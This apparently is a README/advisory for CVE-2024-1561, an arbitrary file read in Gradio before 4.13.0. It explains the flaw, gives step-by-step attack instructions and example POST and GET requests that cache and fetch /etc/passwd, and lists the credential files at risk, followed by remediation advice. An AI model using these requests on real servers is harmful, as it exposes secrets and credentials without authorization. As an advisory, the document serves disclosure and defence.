CVE-2024-1561 is an arbitrary file read vulnerability affecting Gradio versions prior to 4.13.0. Gradio is a popular Python framework used to quickly build web interfaces for machine learning models and AI applications.
The vulnerability exists because the /component_server endpoint does not properly restrict which methods of the internal Component class can be invoked. An attacker can abuse this behavior to call methods that were never intended to be exposed over HTTP.
One of these methods, move_resource_to_block_cache, allows a file from the local filesystem to be copied into Gradio's temporary cache directory. Once the file has been copied, it becomes accessible through the /file endpoint, allowing an attacker to retrieve its contents.
Although the vulnerability does not directly provide remote code execution, it can expose sensitive files from the server and may be leveraged to gather credentials, configuration files, API keys, tokens, or other information useful for further attacks.
- Gradio < 4.13.0
Versions 4.13.0 and later contain the necessary security checks to prevent arbitrary method invocation.
The issue stems from insufficient validation within the /component_server endpoint.
Instead of limiting requests to a safe list of callable functions, Gradio allowed attackers to specify arbitrary method names belonging to a component instance.
Because the internal method:
move_resource_to_block_cache()accepts a filesystem path as input, an attacker can instruct the application to cache any readable file on the server.
Once cached, the file is exposed through Gradio's normal file serving functionality.
A successful attack generally follows these steps:
- Query the
/configendpoint. - Obtain a valid component ID.
- Send a request to
/component_server. - Invoke the
move_resource_to_block_cachemethod. - Supply the path of a target file (for example
/etc/passwd). - Receive the temporary cache path in the server response.
- Download the cached file through the
/fileendpoint.
This process allows arbitrary files readable by the Gradio process to be retrieved remotely.
POST /component_server HTTP/1.1
Host: target
Content-Type: application/json
{
"component_id": "3",
"data": "/etc/passwd",
"fn_name": "move_resource_to_block_cache",
"session_hash": "aaaaaaaaaaa"
}If successful, Gradio returns the location of the cached file.
The attacker can then request:
GET /file=/tmp/gradio/<cached-file>/passwd HTTP/1.1
Host: targetto retrieve the contents.
Successful exploitation may allow an attacker to read sensitive files including:
/etc/passwd- Private SSH keys
- Environment files (
.env) - API tokens
- Cloud credentials
- Application configuration files
- Database credentials
- Source code
- Authentication secrets
The impact depends on the privileges of the Gradio application.
To remediate this vulnerability:
- Upgrade Gradio to 4.13.0 or later.
- Avoid exposing Gradio applications directly to the public Internet.
- Require authentication whenever possible.
- Restrict access using a reverse proxy or firewall.
- Run Gradio with the least privileges necessary.
- Avoid storing sensitive credentials in locations accessible to the application process.
This repository is provided for educational purposes, security research, and authorized penetration testing only. Always obtain explicit permission before testing systems that you do not own or have authorization to assess.